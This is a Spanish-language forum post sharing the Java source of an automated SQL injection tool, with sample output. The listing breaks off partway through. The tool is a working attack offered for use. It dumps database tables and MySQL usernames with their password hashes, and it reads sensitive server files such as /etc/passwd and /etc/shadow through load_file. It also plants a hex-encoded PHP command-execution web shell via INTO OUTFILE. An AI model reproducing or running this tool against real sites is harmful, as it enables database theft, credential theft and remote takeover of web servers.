comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Java] SQLI Scanner 0.2

  • 4 Respuestas
  • 2623 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Enero 21, 2013, 09:33:17 pm »
Traduccion completa de este simple programa para scannear paginas vulnerables a SQLI llamado k0bra que habia hecho antiguamente en Perl.

Con las siguientes opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados


Un ejemplo de uso :

Código: Java
  1.  
  2. -- == SQLI Scanner 0.2 == --
  3.  
  4.  
  5. [+] Page :
  6. http://localhost/sql.php?id=
  7.  
  8. [+] Checking ...
  9.  
  10. [+] Scanning ...
  11.  
  12. [Target] : http://localhost/sql.php?id=-1+union+select+hackman,2,3
  13. [Limit] : The site has 3 columns
  14. [Data] : The number 1 print data
  15.  
  16. -- == OPTIONS == --
  17.  
  18. --== information_schema.tables ==--
  19. [1] : Show tables
  20. [2] : Show columns
  21. [3] : Show DBS
  22. [4] : Show tables with other DB
  23. [5] : Show columns with other DB
  24. --== mysql.user ==--
  25. [6] : Show users
  26. --== Others ==--
  27. [7] : Fuzzing files with load_file
  28. [8] : Read a file with load_file
  29. [9] : Dump
  30. [10] : Informacion of the server
  31. [11] : Create a shell with into outfile
  32. [12] : Show Log
  33. [13] : Exit
  34.  
  35. [You are not allowed to view links. Register or Login] :
  36. 10
  37.  
  38. [+] Searching informaion ...
  39.  
  40. [+] DB Version : 5.5.20-log
  41. [+] DB You are not allowed to view links. Register or Login : hackman
  42. [+] Username : root@localhost
  43. [+] information_schema : on
  44. [+] mysqluser : on
  45. [-] load_file : off
  46.  
  47. [+] Finished
  48.  
  49.  
  50.  


El codigo es el siguiente :

Código: Java
  1. // -- == -- == -- == ---- ==
  2. // SQLI Scanner 0.2       ||
  3. // -- == -- == -- == ---- ==
  4. // (C) Doddy Hackman 2013 ||
  5. // -- == -- == -- == ---- ==
  6.  
  7. import java.util.Scanner;
  8. import java.io.*;
  9. import java.net.*;
  10.  
  11. import java.util.regex.Matcher;
  12. import java.util.regex.Pattern;
  13.  
  14. public class Main {
  15.  
  16.     public static void main(You are not allowed to view links. Register or Login[] args) throws You are not allowed to view links. Register or Login {
  17.  
  18.         You are not allowed to view links. Register or Login target;
  19.         Scanner host = new Scanner(You are not allowed to view links. Register or Login.in);
  20.  
  21.         installer();
  22.  
  23.         You are not allowed to view links. Register or Login.out.println("\n\n-- == SQLI Scanner 0.2 == --\n\n");
  24.         You are not allowed to view links. Register or Login.out.println("[+] Page : ");
  25.         target = host.nextLine();
  26.         scan(target);
  27.  
  28. //schematables("http://localhost/sql.php?id=-1+union+select+hackman,2,3");
  29. //schemacolumns("http://localhost/sql.php?id=-1+union+select+hackman,2,3","hackers");
  30. //getdbs("http://localhost/sql.php?id=-1+union+select+hackman,2,3");
  31. //getablesbydb("http://localhost/sql.php?id=-1+union+select+hackman,2,3","hackman");
  32. //getcolbydb("http://localhost/sql.php?id=-1+union+select+hackman,2,3","hackman","hackers");
  33. //mysqluser("http://localhost/sql.php?id=-1+union+select+hackman,2,3");
  34. //dumper("http://localhost/sql.php?id=-1+union+select+hackman,2,3","hackers","usuario","password");
  35. //fuzzfiles("http://localhost/sql.php?id=-1+union+select+hackman,2,3");
  36. //openfile("http://localhost/sql.php?id=-1+union+select+hackman,2,3","c:/test.txt");
  37. //intofile("http://localhost/sql.php?id=-1+union+select+hackman,2,3","C:/Archivos de programa/EasyPHP-5.3.9/www","/");
  38.  
  39.     }
  40.  
  41.     private static void manejo(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  42.  
  43.         while (true) {
  44.             You are not allowed to view links. Register or Login.out.println("\n-- == OPTIONS == --\n");
  45.             You are not allowed to view links. Register or Login.out.println("--== information_schema.tables ==--");
  46.             You are not allowed to view links. Register or Login.out.println("[1] : Show tables");
  47.             You are not allowed to view links. Register or Login.out.println("[2] : Show columns");
  48.             You are not allowed to view links. Register or Login.out.println("[3] : Show DBS");
  49.             You are not allowed to view links. Register or Login.out.println("[4] : Show tables with other DB");
  50.             You are not allowed to view links. Register or Login.out.println("[5] : Show columns with other DB");
  51.             You are not allowed to view links. Register or Login.out.println("--== mysql.user ==--");
  52.             You are not allowed to view links. Register or Login.out.println("[6] : Show users");
  53.             You are not allowed to view links. Register or Login.out.println("--== Others ==--");
  54.             You are not allowed to view links. Register or Login.out.println("[7] : Fuzzing files with load_file");
  55.             You are not allowed to view links. Register or Login.out.println("[8] : Read a file with load_file");
  56.             You are not allowed to view links. Register or Login.out.println("[9] : Dump");
  57.             You are not allowed to view links. Register or Login.out.println("[10] : Informacion of the server");
  58.             You are not allowed to view links. Register or Login.out.println("[11] : Create a shell with into outfile");
  59.             You are not allowed to view links. Register or Login.out.println("[12] : Show Log");
  60.             You are not allowed to view links. Register or Login.out.println("[13] : Exit");
  61.  
  62.             int op;
  63.             Scanner host = new Scanner(You are not allowed to view links. Register or Login.in);
  64.             You are not allowed to view links. Register or Login.out.println("\n[Option] :");
  65.             op = host.nextInt();
  66.  
  67.             if (op == 1) {
  68.                 schematables(urla);
  69.                 continuar();
  70.             } else if (op == 2) {
  71.  
  72.                 You are not allowed to view links. Register or Login coler;
  73.  
  74.                 Scanner a = new Scanner(You are not allowed to view links. Register or Login.in);
  75.                 You are not allowed to view links. Register or Login.out.println("\n[+] Table : ");
  76.                 coler = a.nextLine();
  77.  
  78.                 schemacolumns(urla, coler);
  79.                 continuar();
  80.  
  81.             } else if (op == 3) {
  82.                 getdbs(urla);
  83.                 continuar();
  84.             } else if (op == 4) {
  85.  
  86.                 You are not allowed to view links. Register or Login tabler;
  87.  
  88.                 Scanner a = new Scanner(You are not allowed to view links. Register or Login.in);
  89.                 You are not allowed to view links. Register or Login.out.println("\n[+] DB : ");
  90.                 tabler = a.nextLine();
  91.  
  92.                 getablesbydb(urla, tabler);
  93.                 continuar();
  94.  
  95.             } else if (op == 5) {
  96.  
  97.                 You are not allowed to view links. Register or Login dber;
  98.                 You are not allowed to view links. Register or Login tablerx;
  99.  
  100.                 Scanner a = new Scanner(You are not allowed to view links. Register or Login.in);
  101.                 You are not allowed to view links. Register or Login.out.println("\n[+] DB : ");
  102.                 dber = a.nextLine();
  103.  
  104.                 Scanner b = new Scanner(You are not allowed to view links. Register or Login.in);
  105.                 You are not allowed to view links. Register or Login.out.println("\n[+] Table : ");
  106.                 tablerx = a.nextLine();
  107.  
  108.                 getcolbydb(urla, dber, tablerx);
  109.                 continuar();
  110.  
  111.             } else if (op == 6) {
  112.  
  113.                 mysqluser(urla);
  114.                 continuar();
  115.  
  116.             } else if (op == 7) {
  117.  
  118.                 fuzzfiles(urla);
  119.                 continuar();
  120.  
  121.             } else if (op == 8) {
  122.  
  123.                 You are not allowed to view links. Register or Login ar;
  124.  
  125.                 Scanner f = new Scanner(You are not allowed to view links. Register or Login.in);
  126.                 You are not allowed to view links. Register or Login.out.println("\n[+] File : ");
  127.                 ar = f.nextLine();
  128.  
  129.                 openfile(urla, ar);
  130.                 continuar();
  131.  
  132.             } else if (op == 9) {
  133.  
  134.                 You are not allowed to view links. Register or Login a;
  135.                 You are not allowed to view links. Register or Login b;
  136.                 You are not allowed to view links. Register or Login c;
  137.  
  138.                 Scanner m = new Scanner(You are not allowed to view links. Register or Login.in);
  139.                 You are not allowed to view links. Register or Login.out.println("\n[+] Table : ");
  140.                 a = m.nextLine();
  141.  
  142.                 Scanner n = new Scanner(You are not allowed to view links. Register or Login.in);
  143.                 You are not allowed to view links. Register or Login.out.println("\n[+] Column 1 : ");
  144.                 b = n.nextLine();
  145.  
  146.                 Scanner l = new Scanner(You are not allowed to view links. Register or Login.in);
  147.                 You are not allowed to view links. Register or Login.out.println("\n[+] Column 2 : ");
  148.                 c = l.nextLine();
  149.  
  150.                 dumper(urla, a, b, c);
  151.  
  152.                 continuar();
  153.  
  154.             } else if (op == 10) {
  155.  
  156.                 details(urla);
  157.                 continuar();
  158.  
  159.             } else if (op == 11) {
  160.  
  161.                 You are not allowed to view links. Register or Login b;
  162.                 You are not allowed to view links. Register or Login c;
  163.  
  164.                 Scanner m = new Scanner(You are not allowed to view links. Register or Login.in);
  165.                 You are not allowed to view links. Register or Login.out.println("\n[+] Full Path Discloure : ");
  166.                 b = m.nextLine();
  167.  
  168.                 Scanner n = new Scanner(You are not allowed to view links. Register or Login.in);
  169.                 You are not allowed to view links. Register or Login.out.println("\n[+] Directory to test : ");
  170.                 c = n.nextLine();
  171.  
  172.                 intofile(urla, b, c);
  173.                 continuar();
  174.  
  175.             } else if (op == 12) {
  176.  
  177.                 You are not allowed to view links. Register or Login ruta;
  178.  
  179.                 You are not allowed to view links. Register or Login h = new You are not allowed to view links. Register or Login(urla);
  180.  
  181.                 ruta = You are not allowed to view links. Register or Login.getProperty("user.dir") + "/logs/" + h.getHost() + ".txt";
  182.  
  183.                 You are not allowed to view links. Register or Login.out.println("\n[+] Check logs in : " + ruta);
  184.                 continuar();
  185.  
  186.             } else if (op == 13) {
  187.                 You are not allowed to view links. Register or Login.out.println("\n-- == (C) Doddy Hackman 2013 == --");
  188.                 continuar();
  189.                 You are not allowed to view links. Register or Login.exit(1);
  190.             } else {
  191.                 You are not allowed to view links. Register or Login.out.println("\n[-] Bad Option\n");
  192.                 continuar();
  193.             }
  194.  
  195.         }
  196.     }
  197.  
  198.     private static void continuar() throws You are not allowed to view links. Register or Login {
  199.         You are not allowed to view links. Register or Login.out.println("\n[+] Finished\n");
  200.         Scanner chau = new Scanner(You are not allowed to view links. Register or Login.in);
  201.         chau.nextLine();
  202.     }
  203.  
  204.     private static void installer() throws You are not allowed to view links. Register or Login {
  205.  
  206.         You are not allowed to view links. Register or Login crear = new You are not allowed to view links. Register or Login("logs");
  207.  
  208.         if (!crear.isDirectory()) {
  209.             crear.mkdirs();
  210.         }
  211.  
  212.     }
  213.  
  214.     private static void intofile(You are not allowed to view links. Register or Login urla, You are not allowed to view links. Register or Login fpd, You are not allowed to view links. Register or Login dir) throws You are not allowed to view links. Register or Login {
  215.  
  216.         You are not allowed to view links. Register or Login linea;
  217.         You are not allowed to view links. Register or Login lugar;
  218.         You are not allowed to view links. Register or Login lugardos;
  219.         You are not allowed to view links. Register or Login webtest;
  220.         You are not allowed to view links. Register or Login web1;
  221.         You are not allowed to view links. Register or Login formandoweb;
  222.         You are not allowed to view links. Register or Login code;
  223.  
  224.         linea = "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e";
  225.         lugar = fpd + "/cmd.php";
  226.         lugardos = dir + "/cmd.php";
  227.  
  228.         You are not allowed to view links. Register or Login h = new You are not allowed to view links. Register or Login(urla);
  229.  
  230.         You are not allowed to view links. Register or Login.out.println("\n[+] Checking ...\n");
  231.  
  232.         webtest = "http://" + h.getHost() + lugardos;
  233.         Pattern uno = null;
  234.         Matcher dos = null;
  235.  
  236.         web1 = urla.replace("hackman", linea);
  237.         formandoweb = web1 + "+into+outfile+'" + lugar + "'--";
  238.  
  239.         code = toma(formandoweb);
  240.         code = toma(webtest);
  241.  
  242.         uno = Pattern.compile("Mini Shell By Doddy");
  243.         dos = uno.matcher(code);
  244.  
  245.         if (dos.find()) {
  246.             You are not allowed to view links. Register or Login.out.println("[Shell UP] : " + webtest);
  247.             savefile(urla, "\r\n" + "[Shell UP] : " + webtest + "\r\n");
  248.         } else {
  249.             You are not allowed to view links. Register or Login.out.println("[-] Error");
  250.         }
  251.  
  252.     }
  253.  
  254.     private static void openfile(You are not allowed to view links. Register or Login urla, You are not allowed to view links. Register or Login file) throws You are not allowed to view links. Register or Login {
  255.  
  256.         You are not allowed to view links. Register or Login archivo;
  257.         You are not allowed to view links. Register or Login web1;
  258.         You are not allowed to view links. Register or Login code;
  259.  
  260.         Pattern uno = null;
  261.         Matcher dos = null;
  262.  
  263.         archivo = encodehex(file);
  264.  
  265.         web1 = urla.replace("hackman", "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(" + archivo + "),char(69,82,84,79,82,56,53,52))))");
  266.  
  267.         You are not allowed to view links. Register or Login.out.println("\n[+] Reading ...\n");
  268.  
  269.         code = toma(web1);
  270.  
  271.         uno = Pattern.compile("ERTOR854(.*?)ERTOR854");
  272.         dos = uno.matcher(code);
  273.  
  274.         if (dos.find()) {
  275.  
  276.             You are not allowed to view links. Register or Login.out.println("[+] File Found : " + file);
  277.             You are not allowed to view links. Register or Login.out.println("\n[Source Start]\n");
  278.             You are not allowed to view links. Register or Login.out.println(dos.group(1));
  279.             You are not allowed to view links. Register or Login.out.println("\n[Source End]\n");
  280.  
  281.             savefile(urla, "\r\n" + "[+] File Found : " + file);
  282.             savefile(urla, "\r\n" + "[Source Start]" + "\r\n");
  283.             savefile(urla, dos.group(1));
  284.             savefile(urla, "\r\n" + "[Source End]" + "\r\n");
  285.  
  286.         } else {
  287.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  288.         }
  289.  
  290.     }
  291.  
  292.     private static void fuzzfiles(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  293.  
  294.         You are not allowed to view links. Register or Login[] archivos = {"c:/test.txt", "C:/xampp/htdocs/aca.txt", "C:/xampp/htdocs/aca.txt", "C:/xampp/htdocs/admin.php", "C:/xampp/htdocs/leer.txt", "../../../boot.ini", "../../../../boot.ini", "../../../../../boot.ini", "../../../../../../boot.ini", "/etc/passwd", "/etc/shadow", "/etc/shadow~", "/etc/hosts", "/etc/motd", "/etc/apache/apache.conf", "/etc/fstab", "/etc/apache2/apache2.conf", "/etc/apache/httpd.conf", "/etc/httpd/conf/httpd.conf", "/etc/apache2/httpd.conf", "/etc/apache2/sites-available/default", "/etc/mysql/my.cnf", "/etc/my.cnf", "/etc/sysconfig/network-scripts/ifcfg-eth0", "/etc/redhat-release", "/etc/httpd/conf.d/php.conf", "/etc/pam.d/proftpd", "/etc/phpmyadmin/config.inc.php", "/var/www/config.php", "/etc/httpd/logs/error_log", "/etc/httpd/logs/error.log", "/etc/httpd/logs/access_log", "/etc/httpd/logs/access.log", "/var/log/apache/error_log", "/var/log/apache/error.log", "/var/log/apache/access_log", "/var/log/apache/access.log", "/var/log/apache2/error_log", "/var/log/apache2/error.log", "/var/log/apache2/access_log", "/var/log/apache2/access.log", "/var/www/logs/error_log", "/var/www/logs/error.log", "/var/www/logs/access_log", "/var/www/logs/access.log", "/usr/local/apache/logs/error_log", "/usr/local/apache/logs/error.log", "/usr/local/apache/logs/access_log", "/usr/local/apache/logs/access.log", "/var/log/error_log", "/var/log/error.log", "/var/log/access_log", "/var/log/access.log", "/etc/group", "/etc/security/group", "/etc/security/passwd", "/etc/security/user", "/etc/security/environ", "/etc/security/limits", "/usr/lib/security/mkuser.default", "/apache/logs/access.log", "/apache/logs/error.log", "/etc/httpd/logs/acces_log", "/etc/httpd/logs/acces.log", "/var/log/httpd/access_log", "/var/log/httpd/error_log", "/apache2/logs/error.log", "/apache2/logs/access.log", "/logs/error.log", "/logs/access.log", "/usr/local/apache2/logs/access_log", "/usr/local/apache2/logs/access.log", "/usr/local/apache2/logs/error_log", "/usr/local/apache2/logs/error.log", "/var/log/httpd/access.log", "/var/log/httpd/error.log", "/opt/lampp/logs/access_log", "/opt/lampp/logs/error_log", "/opt/xampp/logs/access_log", "/opt/xampp/logs/error_log", "/opt/lampp/logs/access.log", "/opt/lampp/logs/error.log", "/opt/xampp/logs/access.log", "/opt/xampp/logs/error.log", "C:/ProgramFiles/ApacheGroup/Apache/logs/access.log", "C:/ProgramFiles/ApacheGroup/Apache/logs/error.log", "/usr/local/apache/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", "/etc/apache/conf/httpd.conf", "/usr/local/etc/apache/conf/httpd.conf", "/usr/local/apache/httpd.conf", "/usr/local/apache2/httpd.conf", "/usr/local/httpd/conf/httpd.conf", "/usr/local/etc/apache2/conf/httpd.conf", "/usr/local/etc/httpd/conf/httpd.conf", "/usr/apache2/conf/httpd.conf", "/usr/apache/conf/httpd.conf", "/usr/local/apps/apache2/conf/httpd.conf", "/usr/local/apps/apache/conf/httpd.conf", "/etc/apache2/conf/httpd.conf", "/etc/http/conf/httpd.conf", "/etc/httpd/httpd.conf", "/etc/http/httpd.conf", "/etc/httpd.conf", "/opt/apache/conf/httpd.conf", "/opt/apache2/conf/httpd.conf", "/var/www/conf/httpd.conf", "/private/etc/httpd/httpd.conf", "/private/etc/httpd/httpd.conf.default", "/Volumes/webBackup/opt/apache2/conf/httpd.conf", "/Volumes/webBackup/private/etc/httpd/httpd.conf", "/Volumes/webBackup/private/etc/httpd/httpd.conf.default", "C:/ProgramFiles/ApacheGroup/Apache/conf/httpd.conf", "C:/ProgramFiles/ApacheGroup/Apache2/conf/httpd.conf", "C:/ProgramFiles/xampp/apache/conf/httpd.conf", "/usr/local/php/httpd.conf.php", "/usr/local/php4/httpd.conf.php", "/usr/local/php5/httpd.conf.php", "/usr/local/php/httpd.conf", "/usr/local/php4/httpd.conf", "/usr/local/php5/httpd.conf", "/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf", "/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf", "/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf", "/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php", "/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php", "/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php", "/usr/local/etc/apache/vhosts.conf", "/etc/php.ini", "/bin/php.ini", "/etc/httpd/php.ini", "/usr/lib/php.ini", "/usr/lib/php/php.ini", "/usr/local/etc/php.ini", "/usr/local/lib/php.ini", "/usr/local/php/lib/php.ini", "/usr/local/php4/lib/php.ini", "/usr/local/php5/lib/php.ini", "/usr/local/apache/conf/php.ini", "/etc/php4.4/fcgi/php.ini", "/etc/php4/apache/php.ini", "/etc/php4/apache2/php.ini", "/etc/php5/apache/php.ini", "/etc/php5/apache2/php.ini", "/etc/php/php.ini", "/etc/php/php4/php.ini", "/etc/php/apache/php.ini", "/etc/php/apache2/php.ini", "/web/conf/php.ini", "/usr/local/Zend/etc/php.ini", "/opt/xampp/etc/php.ini", "/var/local/www/conf/php.ini", "/etc/php/cgi/php.ini", "/etc/php4/cgi/php.ini", "/etc/php5/cgi/php.ini", "c:/php5/php.ini", "c:/php4/php.ini", "c:/php/php.ini", "c:/PHP/php.ini", "c:/WINDOWS/php.ini", "c:/WINNT/php.ini", "c:/apache/php/php.ini", "c:/xampp/apache/bin/php.ini", "c:/NetServer/bin/stable/apache/php.ini", "c:/home2/bin/stable/apache/php.ini", "c:/home/bin/stable/apache/php.ini", "/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini", "/usr/local/cpanel/logs", "/usr/local/cpanel/logs/stats_log", "/usr/local/cpanel/logs/access_log", "/usr/local/cpanel/logs/error_log", "/usr/local/cpanel/logs/license_log", "/usr/local/cpanel/logs/login_log", "/var/cpanel/cpanel.config", "/var/log/mysql/mysql-bin.log", "/var/log/mysql.log", "/var/log/mysqlderror.log", "/var/log/mysql/mysql.log", "/var/log/mysql/mysql-slow.log", "/var/mysql.log", "/var/lib/mysql/my.cnf", "C:/ProgramFiles/MySQL/MySQLServer5.0/data/hostname.err", "C:/ProgramFiles/MySQL/MySQLServer5.0/data/mysql.log", "C:/ProgramFiles/MySQL/MySQLServer5.0/data/mysql.err", "C:/ProgramFiles/MySQL/MySQLServer5.0/data/mysql-bin.log", "C:/ProgramFiles/MySQL/data/hostname.err", "C:/ProgramFiles/MySQL/data/mysql.log", "C:/ProgramFiles/MySQL/data/mysql.err", "C:/ProgramFiles/MySQL/data/mysql-bin.log", "C:/MySQL/data/hostname.err", "C:/MySQL/data/mysql.log", "C:/MySQL/data/mysql.err", "C:/MySQL/data/mysql-bin.log", "C:/ProgramFiles/MySQL/MySQLServer5.0/my.ini", "C:/ProgramFiles/MySQL/MySQLServer5.0/my.cnf", "C:/ProgramFiles/MySQL/my.ini", "C:/ProgramFiles/MySQL/my.cnf", "C:/MySQL/my.ini", "C:/MySQL/my.cnf", "/etc/logrotate.d/proftpd", "/www/logs/proftpd.system.log", "/var/log/proftpd", "/etc/proftp.conf", "/etc/protpd/proftpd.conf", "/etc/vhcs2/proftpd/proftpd.conf", "/etc/proftpd/modules.conf", "/var/log/vsftpd.log", "/etc/vsftpd.chroot_list", "/etc/logrotate.d/vsftpd.log", "/etc/vsftpd/vsftpd.conf", "/etc/vsftpd.conf", "/etc/chrootUsers", "/var/log/xferlog", "/var/adm/log/xferlog", "/etc/wu-ftpd/ftpaccess", "/etc/wu-ftpd/ftphosts", "/etc/wu-ftpd/ftpusers", "/usr/sbin/pure-config.pl", "/usr/etc/pure-ftpd.conf", "/etc/pure-ftpd/pure-ftpd.conf", "/usr/local/etc/pure-ftpd.conf", "/usr/local/etc/pureftpd.pdb", "/usr/local/pureftpd/etc/pureftpd.pdb", "/usr/local/pureftpd/sbin/pure-config.pl", "/usr/local/pureftpd/etc/pure-ftpd.conf", "/etc/pure-ftpd/pure-ftpd.pdb", "/etc/pureftpd.pdb", "/etc/pureftpd.passwd", "/etc/pure-ftpd/pureftpd.pdb", "/var/log/pure-ftpd/pure-ftpd.log", "/logs/pure-ftpd.log", "/var/log/pureftpd.log", "/var/log/ftp-proxy/ftp-proxy.log", "/var/log/ftp-proxy", "/var/log/ftplog", "/etc/logrotate.d/ftp", "/etc/ftpchroot", "/etc/ftphosts", "/var/log/exim_mainlog", "/var/log/exim/mainlog", "/var/log/maillog", "/var/log/exim_paniclog", "/var/log/exim/paniclog", "/var/log/exim/rejectlog", "/var/log/exim_rejectlog"};
  295.         You are not allowed to view links. Register or Login archivo;
  296.         You are not allowed to view links. Register or Login web1;
  297.         You are not allowed to view links. Register or Login code;
  298.  
  299.         Pattern uno = null;
  300.         Matcher dos = null;
  301.  
  302.         You are not allowed to view links. Register or Login.out.println("\n[+] Searching files with load_file() ....\n");
  303.  
  304.         for (int count = 0; count < archivos.length; count++) {
  305.  
  306.             archivo = encodehex(archivos[count]);
  307.  
  308.             web1 = urla.replace("hackman", "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(" + archivo + "),char(69,82,84,79,82,56,53,52))))");
  309.  
  310.             code = toma(web1);
  311.  
  312.             uno = Pattern.compile("ERTOR854(.*?)ERTOR854");
  313.             dos = uno.matcher(code);
  314.  
  315.             if (dos.find()) {
  316.  
  317.                 You are not allowed to view links. Register or Login.out.println("[+] File Found : " + archivos[count]);
  318.                 You are not allowed to view links. Register or Login.out.println("\n[Source Start]\n");
  319.                 You are not allowed to view links. Register or Login.out.println(dos.group(1));
  320.                 You are not allowed to view links. Register or Login.out.println("\n[Source End]\n");
  321.  
  322.                 savefile(urla, "\r\n" + "[+] File Found : " + archivos[count]);
  323.                 savefile(urla, "\r\n" + "[Source Start]" + "\r\n");
  324.                 savefile(urla, dos.group(1));
  325.                 savefile(urla, "\r\n" + "[Source End]" + "\r\n");
  326.  
  327.             }
  328.  
  329.         }
  330.  
  331.     }
  332.  
  333.     private static void dumper(You are not allowed to view links. Register or Login urla, You are not allowed to view links. Register or Login tabla, You are not allowed to view links. Register or Login col1, You are not allowed to view links. Register or Login col2) throws You are not allowed to view links. Register or Login {
  334.  
  335.         You are not allowed to view links. Register or Login web1;
  336.         You are not allowed to view links. Register or Login web2;
  337.         You are not allowed to view links. Register or Login code;
  338.         int x;
  339.  
  340.         Pattern uno = null;
  341.         Matcher dos = null;
  342.  
  343.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))");
  344.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241," + col1 + ",0x4b30425241," + col2 + ",0x4b30425241)))");
  345.  
  346.         code = toma(web1 + "+from+" + tabla + "--");
  347.  
  348.         You are not allowed to view links. Register or Login.out.println("\n[+] Getting Values ...");
  349.  
  350.         uno = Pattern.compile("K0BRA(.*?)K0BRA");
  351.         dos = uno.matcher(code);
  352.  
  353.         if (dos.find()) {
  354.             You are not allowed to view links. Register or Login.out.println("\n[+] Values Founds : " + dos.group(1));
  355.             savefile(urla, "\r\n" + "[+] Table to dump : " + tabla + "\r\n");
  356.  
  357.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  358.  
  359.             for (x = 0; x <= finals; x = x + 1) {
  360.  
  361.                 code = toma(web2 + "+from+" + tabla + "+limit+" + x + ",1--");
  362.  
  363.                 uno = Pattern.compile("K0BRA(.*)K0BRA(.*)K0BRA");
  364.                 dos = uno.matcher(code);
  365.  
  366.                 if (dos.find()) {
  367.                     You are not allowed to view links. Register or Login.out.println("\n[+] " + col1 + " : " + dos.group(1));
  368.                     You are not allowed to view links. Register or Login.out.println("[+] " + col2 + " : " + dos.group(2));
  369.  
  370.                     savefile(urla, "\r\n" + "[+] " + col1 + " : " + dos.group(1));
  371.                     savefile(urla, "[+] " + col2 + " : " + dos.group(2));
  372.  
  373.                 }
  374.  
  375.             }
  376.  
  377.         } else {
  378.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  379.         }
  380.  
  381.     }
  382.  
  383.     private static void mysqluser(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  384.  
  385.         You are not allowed to view links. Register or Login web1;
  386.         You are not allowed to view links. Register or Login web2;
  387.         You are not allowed to view links. Register or Login code;
  388.         int x;
  389.  
  390.         Pattern uno = null;
  391.         Matcher dos = null;
  392.  
  393.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))");
  394.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))");
  395.  
  396.         You are not allowed to view links. Register or Login.out.println("\n[+] Searching mysql.user ....");
  397.  
  398.         code = toma(web1 + "+from+mysql.user--");
  399.  
  400.         uno = Pattern.compile("K0BRA(.*)K0BRA");
  401.         dos = uno.matcher(code);
  402.  
  403.         if (dos.find()) {
  404.             You are not allowed to view links. Register or Login.out.println("\n[+] Users Found : " + dos.group(1));
  405.  
  406.             savefile(urla, "\r\n" + "[+] Users Found : " + dos.group(1) + "\r\n");
  407.  
  408.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  409.  
  410.             for (x = 0; x <= finals; x = x + 1) {
  411.  
  412.                 code = toma(web2 + "+from+mysql.user+limit+" + x + ",1--");
  413.  
  414.                 uno = Pattern.compile("K0BRA(.*)K0BRAK0BRA1(.*)K0BRA1K0BRA2(.*)K0BRA2");
  415.                 dos = uno.matcher(code);
  416.  
  417.                 if (dos.find()) {
  418.                     You are not allowed to view links. Register or Login.out.println("\n[+] Host : " + dos.group(1));
  419.                     You are not allowed to view links. Register or Login.out.println("[+] Username : " + dos.group(2));
  420.                     You are not allowed to view links. Register or Login.out.println("[+] Password : " + dos.group(3));
  421.  
  422.                     savefile(urla, "\r\n" + "[+] Host : " + dos.group(1));
  423.                     savefile(urla, "[+] Username : " + dos.group(2));
  424.                     savefile(urla, "[+] Password : " + dos.group(3));
  425.  
  426.                 }
  427.  
  428.             }
  429.  
  430.         } else {
  431.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  432.         }
  433.  
  434.     }
  435.  
  436.     private static void getcolbydb(You are not allowed to view links. Register or Login urla, You are not allowed to view links. Register or Login db, You are not allowed to view links. Register or Login tab) throws You are not allowed to view links. Register or Login {
  437.  
  438.         You are not allowed to view links. Register or Login web1;
  439.         You are not allowed to view links. Register or Login web2;
  440.         You are not allowed to view links. Register or Login code;
  441.  
  442.         You are not allowed to view links. Register or Login dbf;
  443.         You are not allowed to view links. Register or Login table;
  444.  
  445.         int x;
  446.  
  447.         Pattern uno = null;
  448.         Matcher dos = null;
  449.  
  450.         dbf = encodehex(db);
  451.         table = encodehex(tab);
  452.  
  453.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))");
  454.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))");
  455.  
  456.         You are not allowed to view links. Register or Login.out.println("\n[+] Getting Columns ....");
  457.  
  458.         code = toma(web1 + "+from+information_schema.columns+where+table_name=" + table + "+and+table_schema=" + dbf + "--");
  459.  
  460.         uno = Pattern.compile("K0BRA(.*)K0BRA");
  461.         dos = uno.matcher(code);
  462.  
  463.         if (dos.find()) {
  464.             You are not allowed to view links. Register or Login.out.println("\n[+] Columns Found : " + dos.group(1) + "\n");
  465.  
  466.             savefile(urla, "\r\n" + "[+] Columns Found in the Table [" + tab + "." + db + "] : " + dos.group(1) + "\r\n");
  467.  
  468.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  469.  
  470.             for (x = 0; x <= finals; x = x + 1) {
  471.  
  472.                 code = toma(web2 + "+from+information_schema.columns+where+table_name=" + table + "+and+table_schema=" + dbf + "+limit+" + x + ",1--");
  473.  
  474.                 uno = Pattern.compile("K0BRA(.*)K0BRA");
  475.                 dos = uno.matcher(code);
